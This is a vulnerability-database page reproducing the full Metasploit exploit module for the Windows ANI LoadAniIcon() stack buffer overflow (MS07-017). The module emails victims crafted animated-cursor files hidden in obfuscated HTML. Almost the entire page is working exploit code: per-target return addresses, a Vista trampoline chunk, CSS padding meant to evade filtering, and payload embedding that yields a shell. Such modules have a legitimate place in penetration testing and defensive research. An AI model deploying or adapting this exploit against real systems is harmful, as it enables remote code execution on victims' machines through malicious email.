Lucene search
K

Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 28 Views

Windows ANI LoadAniIcon() Buffer Overflow via SMT

Code

                                                ##
# $Id: ms07_017_ani_loadimage_chunksize.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	#
	# This module sends email messages via smtp
	#
	include Msf::Exploit::Remote::SMTPDeliver

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)',
			'Description'    => %q{
				This module exploits a buffer overflow vulnerability in the
				LoadAniIcon() function of USER32.dll. The flaw is triggered
				through Outlook Express by using the CURSOR style sheet
				directive to load a malicious .ANI file.

				This vulnerability was discovered by Alexander Sotirov of Determina
				and was rediscovered, in the wild, by McAfee.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'hdm',   # First version
					'skape', # Vista support
				],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['MSB', 'MS07-017'],
					['CVE', '2007-0038'],
					['CVE', '2007-1765'],
					['OSVDB', '33629'],
					['BID', '23194'],
					['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'],
					['URL', 'http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp'],
					['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'],
				],
			'Stance'         => Msf::Exploit::Stance::Passive,
			'DefaultOptions' =>
				{
					# Cause internet explorer to exit after the code hits
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'       => 1024 + (rand(1000)),
					'MinNops'     => 32,
					'Compat'      =>
						{
							'ConnectionType' => '-bind -find',
						},

					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[

					#
					# Use multiple cursor URLs to try all targets. This can result in
					# multiple, sequential sessions
					#

					[ 'Automatic', {} ],

					#
					# The following targets use call [ebx+4], just like the original exploit
					#

					# Partial overwrite doesn't work for Outlook Express
					[ 'Windows XP SP2 user32.dll 5.1.2600.2622', { 'Ret' => 0x25ba, 'Len' => 2 }],

					# Should work for all English XP SP2
					[ 'Windows XP SP2 userenv.dll English', { 'Ret' => 0x769fc81a }],

					# Supplied by Fabrice MOURRON <fab[at]revhosts.net>
					[ 'Windows XP SP2 userenv.dll French', { 'Ret' => 0x7699c81a }],

					# Should work for English XP SP0/SP1
					[ 'Windows XP SP0/SP1 netui2.dll English', { 'Ret' => 0x71bd0205 }],

					# Should work for English 2000 SP0-SP4+
					[ 'Windows 2000 SP0-SP4 netui2.dll English', { 'Ret' => 0x75116d88 }],

					#
					# Partial overwrite where 700b is a jmp dword [ebx] ebx points to the start
					# of the RIFF chunk itself.  The length field of the RIFF chunk
					# tag contains a short jump into an embedded riff chunk that
					# makes a long relative jump into the actual payload.
					#
					[ 'Windows Vista user32.dll 6.0.6000.16386',
						{
							'Ret'         => 0x700b,
							'Len'         => 2,

							# On Vista, the pages that contain the RIFF are read-only.
							# In-place decoders cannot be used.
							'Payload'     => { 'EncoderType' => Msf::Encoder::Type::Raw }
						}
					],

					#
					# Supplied by ramon[at]risesecurity.org
					#

					# call [ebx+4]
					[ 'Windows XP SP2 user32.dll (5.1.2600.2180) Multi Language', { 'Ret' => 0x25d0, 'Len' => 2 }],
					[ 'Windows XP SP2 user32.dll (5.1.2600.2180) English', { 'Ret' => 0x77d825d0 }],
					[ 'Windows XP SP2 userenv.dll Portuguese (Brazil)', { 'Ret' => 0x769dc81a }],

					# call [esi+4]
					[ 'Windows XP SP1a userenv.dll English', { 'Ret' => 0x75a758b1 }],
					[ 'Windows XP SP1a shell32.dll English', { 'Ret' => 0x77441a66 }]
				],
			'DisclosureDate' => 'Mar 28 2007',
			'DefaultTarget' => 0))

	end

	def autofilter
		false
	end

	def exploit

		exts = ['bmp', 'wav', 'png', 'zip', 'tar']

		gext =  exts[rand(exts.length)]
		name = rand_text_alpha(rand(10)+1) + ".#{gext}"

		anis = {}

		html =
			"<html><head><title>" +
				rand_text_alphanumeric(rand(128)+4) +
			"</title>" +
			"</head><body>" + rand_text_alphanumeric(rand(128)+1)


		mytargs = (target.name =~ /Automatic/) ? targets : [target]

		if target.name =~ /Automatic/
			targets.each_index { |i|
				next if not targets[i].ret
				acid = generate_cid
				html << generate_div("cid:#{acid}")

				# Re-generate the payload, using the explicit target
				return if ((p = regenerate_payload(nil, nil, targets[i])) == nil)

				# Generate an ANI file for this target
				anis[acid] = generate_ani(p, targets[i])
			}
		else
			acid = generate_cid
			html << generate_div("cid:#{acid}")

			# Re-generate the payload, using the explicit target
			return if ((p = regenerate_payload(nil, nil, target)) == nil)

			# Generate an ANI file for this target
			anis[acid] = generate_ani(p, target)
		end

		html << "</body></html>"


		msg = Rex::MIME::Message.new
		msg.mime_defaults
		msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
		msg.to = datastore['MAILTO']
		msg.from = datastore['MAILFROM']

		msg.add_part(Rex::Text.encode_base64(html, "\r\n"), "text/html", "base64", "inline")
		anis.each_pair do |cid,ani|
			part = msg.add_part_attachment(ani, cid + "." + gext)
			part.header.set("Content-ID", "<"+cid+">")
		end

		send_message(msg.to_s)

		print_status("Waiting for a payload session (backgrounding)...")
	end

	def generate_cid
		rand_text_alphanumeric(32)+'@'+rand_text_alphanumeric(8)
	end

	def generate_div(url)
		"<div style='" +
			generate_css_padding() +
			Rex::Text.to_rand_case("cursor") +
			generate_css_padding() +
			":" +
			generate_css_padding() +
			Rex::Text.to_rand_case("url(") +
			generate_css_padding() +
			"\"#{url}\"" +
			generate_css_padding() +
			");" +
			generate_css_padding() +
			"'>" +
			generate_padding() +
		"</div>"
	end

	def generate_ani(payload, target)

		# Build the first ANI header
		anih_a = [
			36,            # DWORD cbSizeof
			rand(128)+16,  # DWORD cFrames
			rand(1024)+1,  # DWORD cSteps
			0,             # DWORD cx,cy  (reserved - 0)
			0,             # DWORD cBitCount, cPlanes (reserved - 0)
			0, 0, 0,       # JIF jifRate
			1              # DWORD flags
		].pack('V9')

		anih_b = nil

		if (target.name =~ /Vista/)
			# Vista has ebp=80, eip=84
			anih_b = rand_text(84)

			# Patch local variables and loop counters
			anih_b[68, 12] = [0].pack("V") * 3
		else
			# XP/2K has ebp=76 and eip=80
			anih_b = rand_text(80)

			# Patch local variables and loop counters
			anih_b[64, 12] = [0].pack("V") * 3
		end

		# Overwrite the return with address of a "call ptr [ebx+4]"
		anih_b << [target.ret].pack('V')[0, target['Len'] ? target['Len'] : 4]

		# Begin the ANI chunk
		riff = "ACON"

		# Calculate the data offset for the trampoline chunk and add
		# the trampoline chunk if we're attacking Vista
		if target.name =~ /Vista/
			trampoline_doffset = riff.length + 8

			riff << generate_trampoline_riff_chunk
		end

		# Insert random RIFF chunks
		0.upto(rand(128)+16) do |i|
			riff << generate_riff_chunk()
		end

		# Embed the first ANI header
		riff << "anih" + [anih_a.length].pack('V') + anih_a

		# Insert random RIFF chunks
		0.upto(rand(128)+16) do |i|
			riff << generate_riff_chunk()
		end

		# Trigger the return address overwrite
		riff << "anih" + [anih_b.length].pack('V') + anih_b

		# If this is a Vista target, then we need to align the length of the
		# RIFF chunk so that the low order two bytes are equal to a jmp $+0x16
		if target.name =~ /Vista/
			plen  = (riff.length & 0xffff0000) | 0x0eeb
			plen += 0x10000 if (plen - 8) < riff.length

			riff << generate_riff_chunk((plen - 8) - riff.length)

			# Replace the operand to the relative jump to point into the actual
			# payload itself which comes after the riff chunk
			riff[trampoline_doffset + 1, 4] = [riff.length - trampoline_doffset - 5].pack('V')
		end

		# Place the RIFF chunk in front and off we go
		ret = "RIFF" + [riff.length].pack('V') + riff

		# We copy the encoded payload to the stack because sometimes the RIFF
		# image is mapped in read-only pages.  This would prevent in-place
		# decoders from working, and we can't have that.
		ret << Rex::Arch::X86.copy_to_stack(payload.encoded.length)

		# Place the real payload right after it.
		ret << payload.encoded

		ret

	end

	# Generates a riff chunk with the first bytes of the data being a relative
	# jump.  This is used to bounce to the actual payload
	def generate_trampoline_riff_chunk
		tag = Rex::Text.to_rand_case(rand_text_alpha(4))
		dat = "\xe9\xff\xff\xff\xff" + rand_text(1) + (rand_text(rand(256)+1) * 2)
		tag +	[dat.length].pack('V') + dat
	end

	def generate_riff_chunk(len = (rand(256)+1) * 2)
		tag = Rex::Text.to_rand_case(rand_text_alpha(4))
		dat = rand_text(len)
		tag + [dat.length].pack('V') + dat
	end

	def generate_css_padding
		buf =
			generate_whitespace() +
			"/*" +
			generate_whitespace() +
			generate_padding() +
			generate_whitespace() +
			"*/" +
			generate_whitespace()
	end

	def generate_whitespace
		len = rand(100)+2
		set = "\x09\x20\x0d\x0a"
		buf = ''

		while (buf.length < len)
			buf << set[rand(set.length)].chr
		end
		buf
	end

	def generate_padding
		rand_text_alphanumeric(rand(128)+4)
	end

end


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation